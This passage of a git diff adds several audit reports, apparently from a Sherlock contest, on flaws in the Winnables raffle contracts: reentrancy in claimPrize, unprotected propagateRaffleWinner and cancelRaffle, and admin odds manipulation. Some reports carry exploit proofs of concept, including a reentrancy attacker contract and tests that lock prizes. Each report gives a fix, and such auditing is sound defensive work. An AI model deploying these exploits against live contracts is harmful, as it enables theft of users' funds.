_tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + emit PrizeClaimed(raffleId, msg.sender); + } +``` \ No newline at end of file diff --git a/001/054.md b/001/054.md new file mode 100644 index 0000000..3947f1f --- /dev/null +++ b/001/054.md @@ -0,0 +1,108 @@ +Handsome Umber Dragonfly + +High + +# Reentrancy attack in WinnablesPrizeManager::claimPrize() + +## Summary + +The claimPrize function in the WinnablesPrizeManager is vulnerable to a reentrancy attack in the case of an ETH raffle. The vulnerability allows an attacker to repeatedly call the claimPrize function before the contract updates the RafflePrizeStatus.CLAIMED, potentially leading to the unauthorized withdrawal of funds. + +## Vulnerability Detail + +The vulnerability arises because the claimPrize function calls _sendETHPrize, which transfers ETH to the caller using call{value: amount}. This external call allows the recipient (an attacker contract) to re-enter the claimPrize function before the state variables RafflePrizeStatus.CLAIMED is updated. As a result, an attacker can repeatedly claim the prize and drain the contract's funds. + +The key issues are: + +The ETH transfer occurs before the state variables are updated to reflect that the prize has been claimed. +An attacker can exploit this by deploying a malicious contract with a receive function that calls claimPrize again, recursively withdrawing ETH. + +## Impact + +If exploited, the attacker can drain the contract of its ETH balance, causing significant financial loss. The impact is high, as the contract's entire ETH balance can be stolen through this reentrancy attack. + +## Code Snippet + +Let's say that we have two ETH raffles: + Raffle A: + The amount of eth locked is = _ethRaffles[raffleId] = 10ETH + The winner is the address: 0x001 + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + Raffle B: + The amount of eth locked is = _ethRaffles[raffleId] = 12ETH + The winner is the address: 0x002 + +noticing that the amount of _ethRaffles[raffleId] is being deducted from _ethLocked which contains in this case 22ETH +let's say the the winner of the raffle A is a malicious contract and he call the claimPrize function + +0x001 contract : +``` +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "./WinnablesPrizeManager .sol"; + +contract AttackerContract { + RaffleContract private raffleContract; + uint256 private targetRaffleId; + + constructor(address raffleContractAddress) { + raffleContract = RaffleContract(payable(raffleContractAddress)); + } + + // Function to attack the raffle contract + function attack(uint256 raffleId) external { + targetRaffleId = raffleId; + raffleContract.claimPrize(raffleId); + } + + // Receive function to trigger reentrancy when plain ETH is sent + receive() external payable { + if (address(raffleContract).balance > 0) { + raffleContract.claimPrize(targetRaffleId); + } + } + + function MyBalance() external view returns (uint256) { + return address(this).balance; + } +} + +``` +here is a the flow of the values of the function claimPrize +``` +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; ==> raffle A + RaffleType raffleType = rafflePrize.raffleType; ==> raflleType ==> ETH + + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } + else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } + else if (raffleType == RaffleType.ETH) { ==> True + unchecked { _ethLocked -= _ethRaffles[raffleId]; } ==> 22 - 10 = 12 + _sendETHPrize(_ethRaffles[raffleId], msg.sender); ==> the function _sendETHPrize described below will send the ETH to the contract + when receiving the eth, the contract will another time the claimePrize and be able to withraw another 10eth from the contract + } + else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } + function _sendETHPrize(uint256 amount, address winner) internal { + (bool success, ) = winner.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } +``` +## Tool used +Remix + +## Recommendation +Implement a reentrancy guard (e.g., using OpenZeppelin's ReentrancyGuard modifier) to prevent reentrant calls to the claimPrize function. \ No newline at end of file diff --git a/001/056.md b/001/056.md new file mode 100644 index 0000000..453b40d --- /dev/null +++ b/001/056.md @@ -0,0 +1,357 @@ +Itchy Mahogany Turtle + +High + +# Malicious Users Will Block Raffle Winners from Claiming Prizes in WinnablesTicketManager + +### Summary + +In the `WinnablesTicketManager` smart contract, there exists a Denial of Service (DoS) vulnerability within the `propagateRaffleWinner` function. This vulnerability allows any user to potentially hinder the rightful winner of a raffle from claiming their prize by prematurely or maliciously triggering the function with incorrect parameters. + +### Root Cause + +After a raffle has concluded and the fulfillRandomWords() function is executed, the randomized selection of a winner is successfully completed, setting the raffle status to FULFILLED. At this point, the propagateRaffleWinner function should be called to communicate the result to the PrizeManager through a cross-chain message utilizing the Chainlink CCIP (Cross-Chain Interoperability Protocol). + +However, the function propagateRaffleWinner does not include necessary validations to ensure that: + +The caller of the function has the authority to execute it, allowing any user to potentially call it. +The prizeManager address and chainSelector provided as parameters point to a valid and intended recipient blockchain and contract. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L334C5-L345C6 + +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } + +``` +The lack of these checks allows any user to: + +Call the function with arbitrary, incorrect, or malicious parameters for the prizeManager and chainSelector. +Change the raffle status to PROPAGATED without actually ensuring the cross-chain message is correctly addressed. +As a result, if an incorrect address or chain selector is provided, the _sendCCIPMessage will still execute according to its built-in checks (only verifying that the inputs are non-zero). + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/BaseCCIPSender.sol#L15C5-L24C57 + +```solidity + function _sendCCIPMessage( + address ccipDestAddress, + uint64 ccipDestChainSelector, + bytes memory data + ) internal returns(bytes32 messageId) { + if (ccipDestAddress == address(0) || ccipDestChainSelector == uint64(0)) { + revert MissingCCIPParams(); + } + + // Send CCIP message to the desitnation contract + +``` + + +### Internal pre-conditions + +A raffle ends + +### External pre-conditions + +The `WinnablesTicketsManager` contract gets updated and is waiting for `propagateRaffleWinner` to be called. + +### Attack Path + +bad actor calls the function first with incorrect address or chain ID. +winnablesTicketManager.propagateRaffleWinner(address(9999999), 1, 1); + + +### Impact + +This vulnerability allows attackers or even mistakes to prematurely transition the status of a raffle to PROPAGATED, potentially making it impossible for the correct winner's details to be relayed to the `PrizeManager`. + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.24; + +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../contracts/WinnablesTicketManager.sol"; +import "../contracts/WinnablesTicket.sol"; +import "../contracts/interfaces/IWinnables.sol"; + + +contract MockIERC20 is IERC20 { + function totalSupply() external view returns (uint256) {} + function balanceOf(address account) external view returns (uint256) {} + function transfer(address recipient, uint256 amount) external returns (bool) {} + function allowance(address owner, address spender) external view returns (uint256) {} + function approve(address spender, uint256 amount) external returns (bool) {} + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {} +} + + +contract MockVRFConsumerBaseV2 is VRFConsumerBaseV2 { + constructor(address coordinator) VRFConsumerBaseV2(coordinator) {} + + // Implementing the abstract function with an empty body for testing + function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {} +} + +contract WinnablesTicketManagerTest is Test, IWinnables { + WinnablesTicketManager winnablesTicketManager; + WinnablesTicket winnablesticket; + address mockLinkToken; + address mockVrfCoordinator; + uint64 subscriptionId = 1; + bytes32 keyHash = "0xabcdef"; + address mockTicketsContract; + address mockCCIPRouter; + + struct Any2EVMMessage { + bytes32 messageId; // MessageId corresponding to ccipSend on source + uint64 sourceChainSelector; // Source chain selector + bytes sender; // abi.decode(sender) if coming from an EVM chain + bytes data; // payload sent in original message + EVMTokenAmount[] tokenAmounts; // Tokens and their amounts at destination + } + + struct RaffleDetails { + uint64 startsAt; + uint64 endsAt; + uint32 minTicketsThreshold; + uint32 maxTicketSupply; + uint32 maxHoldings; + uint256 totalRaised; + RaffleStatus status; + uint256 chainlinkRequestId; + } + + struct EVMTokenAmount { + address token; // token address on local blockchain + uint256 amount; + } + + function setUp() public { + mockLinkToken = address(new MockIERC20()); + mockVrfCoordinator = address(new MockVRFConsumerBaseV2(address(this))); + winnablesticket = new WinnablesTicket(); + mockCCIPRouter = address(this); + + winnablesTicketManager = new WinnablesTicketManager( + mockLinkToken, + mockVrfCoordinator, + subscriptionId, + keyHash, + address(winnablesticket), + mockCCIPRouter + ); + + winnablesticket.setRole(address(winnablesTicketManager), 1, true); + } + + receive() external payable { + + } + + function getAndLogRaffleDetails(uint256 raffleId) internal returns (uint64, uint64, uint32, uint32, uint32, uint256, RaffleStatus, uint256) { + (uint64 startsOut, uint64 endsOut, uint32 minOut, uint32 maxOut, uint32 maxHoldOut, uint256 totalRaisedOut, RaffleStatus statusOut, uint256 chainlinkRequestIdOut) + = winnablesTicketManager.getRaffle(raffleId); + + console.log(""); + console.log("Tickets sold :", winnablesticket.supplyOf(raffleId)); + console.log("Raffle Id : ", raffleId); + console.log("Starts At: %s, Ends At: %s", startsOut, endsOut); + console.log("Min Tickets: %s, Max Tickets: %s, Max Holdings: %s", minOut, maxOut, maxHoldOut); + console.log("Total Raised: %s, Status: %s, Chainlink Request ID: %s", totalRaisedOut, uint(statusOut), chainlinkRequestIdOut); + console.log(""); + + return (startsOut, endsOut, minOut, maxOut, maxHoldOut, totalRaisedOut, statusOut, chainlinkRequestIdOut); + + } + + function logBalanceVsLockedEth() internal { + uint256 contractBalance = address(winnablesTicketManager).balance; + uint256 lockedEth = winnablesTicketManager._lockedETH(); + + console.log("Contract Eth Balance : ", contractBalance); + console.log("Contract _lockedEth : ", lockedEth); + } + function setupRaffle( + uint256 raffleId, + uint64 startsAt, + uint64 endsAt, + uint32 minTickets, + uint32 maxTickets, + uint32 maxHoldings, + address senderAddress, + uint64 chainSelector, + address _senderAddress +) internal { + // Simulate the prize being locked via a CCIP message + bytes memory ccipData = abi.encode(raffleId); + Client.EVMTokenAmount[] memory emptyTokenAmounts = new Client.EVMTokenAmount[](0); + Client.Any2EVMMessage memory message = Client.Any2EVMMessage({ + messageId: keccak256(abi.encodePacked(block.timestamp)), + sourceChainSelector: chainSelector, + sender: abi.encode(_senderAddress), + data: ccipData, + destTokenAmounts: emptyTokenAmounts + }); + + winnablesTicketManager.setCCIPCounterpart(_senderAddress, chainSelector, true); + + vm.warp(800); + vm.prank(_senderAddress); // Mock the caller to be the sender or router + winnablesTicketManager.ccipReceive(message); + + winnablesTicketManager.createRaffle(raffleId, startsAt, endsAt, minTickets, maxTickets, maxHoldings); +} + +function usersBuyTickets(uint256 raffleId, address[] memory users, uint256 ticketAmount) internal { + // Setup balances for the users (assuming the contract is payable and can receive ETH) + for (uint i = 0; i < users.length; ++i) { + vm.deal(users[i], 1 ether); // Provide each user with 1 ETH + } + + // Each user buys tickets + for (uint i = 0; i < users.length; ++i) { + vm.prank(users[i]); // Execute the following transaction as user[i] + winnablesTicketManager.buyTickets{value: 0.1 ether}(raffleId, uint16(ticketAmount), block.number + 1000, ""); // Assuming 0.1 ETH per ticket, no need for a signature for now + } +} + + + function testDOSTheWinner() public { + uint256 raffleId = 1; + uint64 startsAt = 1; + uint64 endsAt = startsAt + 1 days; + uint32 minTickets = 10; + uint32 maxTickets = 100; + uint32 maxHoldings = 5; + + // Simulate the prize being locked via a CCIP message + address senderAddress = address(this); // Simulate sender address + uint64 chainSelector = 1; // Simulate a chain selector, typically the identifier for the chain + address _senderAddress = senderAddress; + bytes memory ccipData = abi.encode(raffleId); + + // Encode and construct the Any2EVMMessage + Client.EVMTokenAmount[] memory emptyTokenAmounts = new Client.EVMTokenAmount[](0); + Client.Any2EVMMessage memory message = Client.Any2EVMMessage({ + messageId: keccak256(abi.encodePacked(block.timestamp)), + sourceChainSelector: chainSelector, + sender: abi.encode(_senderAddress), + data: ccipData, + destTokenAmounts: emptyTokenAmounts + }); + + winnablesTicketManager.setCCIPCounterpart(_senderAddress, chainSelector, true); + + vm.warp(800); + + vm.prank(_senderAddress); // Mock the caller to be the sender or router + + winnablesTicketManager.ccipReceive(message); + + winnablesTicketManager.createRaffle(raffleId, startsAt, endsAt, minTickets, maxTickets, maxHoldings); + + //uint256 timestamp = block.timestamp; + console.log("current timestamp: ", block.timestamp); + + // Check initial raffle state + getAndLogRaffleDetails(raffleId); + + // Warp time to after the raffle start time + vm.warp(startsAt + 1 hours); + + // Assume a pseudo-blockchain state change + vm.roll(block.number + 1); + + // Define users + address[] memory users = new address[](3); + users[0] = address(0x123); + users[1] = address(0x456); + users[2] = address(0x789); + + // Setup balances for the users + for (uint i = 0; i < users.length; ++i) { + vm.deal(users[i], 1 ether); + } + + // Each user buys tickets + for (uint i = 0; i < users.length; ++i) { + vm.prank(users[i]); + winnablesTicketManager.buyTickets{value: 0.1 ether}(raffleId, 5, block.number + 1000, ""); // Assuming 0.1 ETH per ticket, no need for a signature for now + } + + + getAndLogRaffleDetails(raffleId); + + logBalanceVsLockedEth(); + + vm.warp(startsAt + 3 days); + winnablesTicketManager.drawWinner(1); + + + + getAndLogRaffleDetails(raffleId); + + + + logBalanceVsLockedEth(); + + ///// bad actor ///// + vm.prank(address(55)); + winnablesTicketManager.propagateRaffleWinner(address(9999999), 1, 1); + + + ///// Good Actor ///// + winnablesTicketManager.propagateRaffleWinner(address(10), 1, 1); + console.log("Winner Propagated"); + logBalanceVsLockedEth(); + + + +} + + +} + +``` + + +This test function fails when the good actor tries to call with correct info. + +Logs + +```solidity +[17977] WinnablesTicketManager::propagateRaffleWinner(0x000000000000000000000000000000000098967F, 1, 1) + │ ├─ [520] WinnablesTicket::supplyOf(1) [staticcall] + │ │ └─ ← [Return] 15 + │ ├─ [10312] WinnablesTicket::ownerOf(1, 9) [staticcall] + │ │ └─ ← [Return] 0x0000000000000000000000000000000000000456 + │ ├─ [3942] WinnablesTicket::refreshMetadata(1) + │ │ ├─ emit URI(value: "1", id: 1) + │ │ └─ ← [Return] + │ └─ ← [Return] + ├─ [993] WinnablesTicketManager::propagateRaffleWinner(PointEvaluation: [0x000000000000000000000000000000000000000A], 1, 1) + │ └─ ← [Revert] InvalidRaffleStatus() + └─ ← [Revert] InvalidRaffleStatus() + +``` + +### Mitigation + +To mitigate the impacts of this vulnerability, the following strategies should be implemented: + +Authorization Check: Ensure that only authorized users (e.g., contract owner, raffle administrators) or automated systems (e.g., via secure internal triggers) can invoke `propagateRaffleWinner`. + +Parameter Validation: Enhance the checks to validate `prizeManager` is a legitimate and expected address, possibly by maintaining a registry of valid addresses and selectors, thus preventing misdirection of cross-chain messages. \ No newline at end of file diff --git a/001/057.md b/001/057.md new file mode 100644 index 0000000..a11a010 --- /dev/null +++ b/001/057.md @@ -0,0 +1,74 @@ +Mammoth Stone Grasshopper + +High + +# Attacker will prevent any raffles by calling `WinnablesTicketManager::cancelRaffle` before admin starts raffle + +### Summary + +The [`WinnablesTicketManager::cancelRaffle`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278) function is vulnerable to abuse because it is an external function that allows anyone to cancel a raffle if its status is set to PRIZE_LOCKED. An attacker could exploit this by repeatedly calling `cancelRaffle` whenever a new raffle is available to be started, effectively preventing any raffles from ever being initiated. + +### Root Cause + +The root cause of this issue lies in the design of the function: +1. The function is external, meaning it can be called by anyone. +2. When called, it checks the underlying function `WinnablesTicketManager::_checkShouldCancel`, which allows cancellation of a raffle if the [status is PRIZE_LOCKED](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L436), which is a temporary state before the admin calls `WinnablesTicketManager::createRaffle`. +3. This opens up a window of opportunity for an attacker to cancel the raffle before it transitions to an active state. + +### Internal pre-conditions + +There must be a raffleId with raffleStatus == PRIZE_LOCKED + + +### External pre-conditions + +The attacker must monitor the contract to identify when a raffle is in the PRIZE_LOCKED state, which occurs after the admin locks a prize in the `WinnablesPrizeManager` contract. +The attacker must call the `WinnablesTicketManager::cancelRaffle` before the admin calls `WinnablesTicketManager::createRaffle`. + + +### Attack Path + +1. An attacker monitors the contract to detect when a new raffle enters the PRIZE_LOCKED state. +2. As soon as the raffle reaches this state, the attacker calls the cancelRaffle function. +3. The raffle is canceled before it can transition to an active state, preventing it from starting. +4. The attacker can repeat this process for each new raffle, effectively blocking the initiation of all raffles. + + +### Impact + +This vulnerability allows a malicious actor to disrupt the entire raffle system. By preventing any raffles from starting, the attacker can undermine the functionality of the whole protocol. + + +### PoC + +The test below, which can be added to the hardhat test suite, shows that a random user can cancel the raffle if it hasn't yet been started + +```javascript + describe('Buyer can cancel raffle', () => { + before(async () => { + snapshot = await helpers.takeSnapshot(); + }); + + after(async () => { + await snapshot.restore(); + }); + const buyers = []; + + it('Should be able to cancel a raffle', async () => { + const now = await blockTime(); + const buyer = await getWalletWithEthers(); + await (await link.mint(manager.address, ethers.utils.parseEther('100'))).wait(); + const tx = await manager.connect(buyer).cancelRaffle(counterpartContractAddress, 1, 1); + const { events } = await tx.wait(); + expect(events).to.have.lengthOf(3); + const ccipMessageEvent = ccipRouter.interface.parseLog(events[0]); + expect(ccipMessageEvent.name).to.eq('MockCCIPMessageEvent'); + expect(ccipMessageEvent.args.data).to.eq('0x000000000000000000000000000000000000000000000000000000000000000001'); + await expect(manager.getWinner(1)).to.be.revertedWithCustomError(manager, 'RaffleNotFulfilled'); + }); + }); +``` + +### Mitigation + +This vulnerability can be mitigated by updating the underlying function `WinnablesTicketManager::_checkShouldCancel` to only allow the admin to cancel a raffle that hasn't started yet. \ No newline at end of file diff --git a/001/058.md b/001/058.md new file mode 100644 index 0000000..3b1e6c4 --- /dev/null +++ b/001/058.md @@ -0,0 +1,36 @@ +Spare Flint Carp + +Medium + +# Odds manipulation violates raffle fairness principles + +## Summary + +The admin can manipulate the odds by purchasing a large number of tickets for themselves, which violates the principle below: + +> The principles that must always remain true are: +> - Admins cannot affect the odds of a raffle + +## Vulnerability Detail + +The winner is determined based on [a random number generated from the total number of sold tickets](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L474-L475). The admin has the ability to purchase a significant number of tickets just before the raffle ends. By doing so, they can inflate the total number of tickets, effectively diluting the odds for other participants. + +Once the raffle concludes, the admin can [withdraw all locked ETH from the `WinnablesTicketManager` contract](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300), meaning the only cost incurred by the admin for this manipulation is the gas fee required to buy the tickets. + +## Impact + +The principle "Admins cannot affect the odds of a raffle" can be broken. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L474-L475 + +## Tool used + +Manual Review + +## Recommendation + +Document that the admin can be trusted. + +Another potential solution is to increase the number of winner rewards proportional to the number of tickets sold. \ No newline at end of file diff --git a/001/059.md b/001/059.md new file mode 100644 index 0000000..aa47b11 --- /dev/null +++ b/001/059.md @@ -0,0 +1,104 @@ +Merry Sepia Whale + +High + +# Attacker can lock up winner rewards in the Prize Manager contract by several ways during call of `propagateRaffleWinner` in Ticket Manager + +## Summary +An attacker can specify a fake `prizeManager` contract to send the CCIP message to on Ethereum/counter-party chain which holds raffle prizes. They could also just input another chains' `chainSelector` which even if the `prizeManager` is correct, the `chainSelector` would force the CCIP message to be routed to another contract. Doing any of this forces the locked reward for that specific raffle to be locked and non-recoverable. + +## Vulnerability Detail +The issue lies in the `propagateRaffleWinner` function where there is no validation that the `prizeManager` or `chainSelector` is the expected ones for the counter-party chain to route the message to. Hence, once the message is sent, the state change that occurs after in lines 337 and 343 of the `WinnablesTicketManager` assumes the message will be delivered whereas it wouldn't and the raffle cannot be re-propagated because of the check in line 336 hence, the funds locked in the prize manager contract will be locked because there would be no winner for it and cannot be reclaimed by the admin/owner either + +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); +@> raffle.status = RaffleStatus.PROPAGATED; // @audit state change but the prizeManager and chainSelector is not the correct ones + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + @> _lockedETH -= raffle.totalRaised; // ticket buyer's pooled fund is released + } + } +``` + +Since the attacker inputed wrong arguments during `propagateRaffleWinner` call, this function below will not be executed on the counterparty chain: + +```solidity +function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + + CCIPMessageType messageType = CCIPMessageType(uint8(message.data[0])); + uint256 raffleId; + address winner; + if (messageType == CCIPMessageType.RAFFLE_CANCELED) { + raffleId = _decodeRaffleCanceledMessage(message.data); + _cancelRaffle(raffleId); + return; + } + (raffleId, winner) = _decodeWinnerDrawnMessage(message.data); + _rafflePrize[raffleId].winner = winner; + emit WinnerPropagated(raffleId, winner); + } +``` + +Also, once the `propagateRaffleWinner` is called once, the function cannot be called again: +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; +@> if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); // only callable once +@> raffle.status = RaffleStatus.PROPAGATED; // too late now + ... + } +``` + +Hence, raffle can never be canceled nor claimed and ether is locked: +```solidity +function _cancelRaffle(uint256 raffleId) internal { // @note only callable when we receive a message + RaffleType raffleType = _rafflePrize[raffleId].raffleType; + if (_rafflePrize[raffleId].status == RafflePrizeStatus.CANCELED) revert InvalidRaffle(); + if (raffleType == RaffleType.NFT) { + NFTInfo storage nftInfo = _nftRaffles[raffleId]; + _nftLocked[nftInfo.contractAddress][nftInfo.tokenId] = false; + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage tokenInfo = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[tokenInfo.tokenAddress] -= tokenInfo.amount; } + } else if (raffleType == RaffleType.ETH) { + @> unchecked { _ethLocked -= _ethRaffles[raffleId]; } // this is where we cancel + } else revert InvalidRaffle(); + _rafflePrize[raffleId].status = RafflePrizeStatus.CANCELED; + emit PrizeUnlocked(raffleId); + } +``` + +```solidity +function claimPrize(uint256 raffleId) external { + ... + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } // @audit cannot be claimed because no winner as the message was never delivered + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + ... + } +``` + +## Impact +Loss of raffle prize winner's funds. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345 + +## Tool used + +Manual Review + +## Recommendation +Since the intent is to allow anyone initiate drawing a winner and then relaying the winner to propagate the prize manager contract so they can claim the winnings on the counter-party chain, implement a whitelist setter function that the admin can call to set the correct `prizeManager` and `chainSelector`. Doing this will remove the need for the caller to provide the arguments and hence ensure that messages sent are always delivered to the correct destination counter party chains. \ No newline at end of file diff --git a/001/060.md b/001/060.md new file mode 100644 index 0000000..8a94246 --- /dev/null +++ b/001/060.md @@ -0,0 +1,170 @@ +Faithful Cornflower Cod + +High + +# Anyone can break a raffle by canceling it or propagating a winner with wrong parameters + +### Summary + +The function `WinnablesTicketManager::propagateRaffleWinner` lets anyone propagate the winner of a raffle. +This function sends a CCIP message to the remote chain and marks the raffle as `FULFILLED`. +This is intended to inform `WinnablesPrizeManager`, on the remote chain, who won a raffle. + +However, the input parameters are not checked. If an attacker sets either `prizeManager` or `chainSelector` to values that do not match the official remote message receiver, the remote will never know the winner of a raffle and thus will never allow them to withdraw their prize. + +The same issue happens in the function `WinnablesTicketManager::cancelRaffle`. + +### Root Cause + +In `WinnablesTicketManager::propagateRaffleWinner` [(`WinnablesTicketManager.sol:334`)](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334) and `WinnablesTicketManager::cancelRaffle` [(`WinnablesTicketManager.sol:278`)](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278), there's a missing check for correctness of `prizeManager` and `chainSelector` parameters. + +For clarity, below is one of the affected functions. It can be called with arbitrary, incorrect values for prizeManager and chainSelector, breaking the raffle forever and locking funds on the remote. + +```solidity + + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } + +``` + +### Internal pre-conditions + +1. The admin creates a raffle. +2. People join. +3. Someone calls `drawWinner` to pick a winner. +4. Someone calls `propagateRaffleWinner` with bogus `prizeManager` address or `chainSelector`. + +OR + +1. The admin creates a raffle. +2. People join. +3. Someone cancels the raffle as special conditions are met, but uses bogus `prizeManager` address or `chainSelector`. + +### External pre-conditions + +1. Chainlinks CCIP works as intended, delivering a message (to a bogus address or chain). + +### Attack Path + +1. After a raffle has been created and the winner is decided, anyone calls `propagateRaffleWinner` with bogus `prizeManager` address or `chainSelector`. + +OR + +1. After a raffle has been created and not enough tickets have been sold, anyone calls `cancelRaffle` with bogus `prizeManager` address or `chainSelector`. + +### Impact + +**Impact: funds get locked forever in WinnablesPrizeManager**. + +The remote chain contract which stores ETH, tokens or NFTs for each raffle never receives a message declaring a winner for them or canceling the raffle and unlocking the prize. Which means these funds will be forever stuck in the `WinnablesPrizeManager` contract, preventing the winner for claiming their rightful prize. + +It's important to note that not even the admins are able to recover the funds, since the admin withdrawal functions will check for locks. + +### PoC + +In the included Hardhat tests, we can include in test/TicketManager.js:786: + +```javascript + it('Propagate to random chain and address', async () => { + const { events } = await (await manager.propagateRaffleWinner(counterpartContractAddress, 99, 1)).wait(); + expect(events).to.have.lengthOf(3); + const ccipEvent = ccipRouter.interface.parseLog(events[0]); + expect(ccipEvent.args.chain).to.eq(99); + expect(ccipEvent.args.receiver).to.eq('0x' + counterpartContractAddress.toLowerCase().slice(-40).padStart(64, '0')); + expect(ccipEvent.args.data).to.have.lengthOf(108); + const drawnWinner = ethers.utils.getAddress('0x' + ccipEvent.args.data.slice(-40)); + expect(buyers.find(b => b.address === drawnWinner)).to.not.be.undefined; + expect(ccipEvent.args.data.slice(0, 68)).to.eq('0x010000000000000000000000000000000000000000000000000000000000000001'); + }); + +``` + +Here, we see that we are successfully propagating the winner of raffle 1 with chainSelector == 99, as opposed to the correct chainSelector == 1. + +Doing that, the callback at `WinnablesPrizeManager::_ccipReceive` never runs and the funds locked in that raffle are forever gone. + +### Mitigation + +To prevent this issue, don't allow a user to input whatever he wants in `WinnablesTicketManager::propagateRaffleWinner` and `WinnablesTicketManager::cancelRaffle`. + +Instead, remove these parameters from the aforementioned functions and use private variables initialized in the constructor to store `prizeManager` and `chainSelector`. + +For example, in WinnablesTicketManager.sol: + +```solidity + +... + address private PRIZE_MANAGER; + uint64 private PRIZE_MANAGER_CHAIN_SELECTOR; + + constructor( + address _linkToken, + address _vrfCoordinator, + uint64 _subscriptionId, + bytes32 _keyHash, + address _tickets, + address _ccipRouter, + address _prizeManager, + uint64 _prizeManagerChainSelector, + ) VRFConsumerBaseV2(_vrfCoordinator) BaseCCIPContract(_ccipRouter) BaseLinkConsumer(_linkToken) { + VRF_COORDINATOR = _vrfCoordinator; + SUBSCRIPTION_ID = _subscriptionId; + KEY_HASH = _keyHash; + TICKETS_CONTRACT = _tickets; + _setRole(msg.sender, 0, true); // Deployer is admin by default + LinkTokenInterface(LINK_TOKEN).approve(_ccipRouter, type(uint256).max); + + PRIZE_MANAGER = _prizeManager; + PRIZE_MANAGER_CHAIN_SELECTOR = _prizeManagerChainSelector, + } + +``` +In WinnablesTickerManager::cancelRaffle: + +```solidity + + function cancelRaffle(uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + PRIZE_MANAGER, + PRIZE_MANAGER_CHAIN_SELECTOR, + 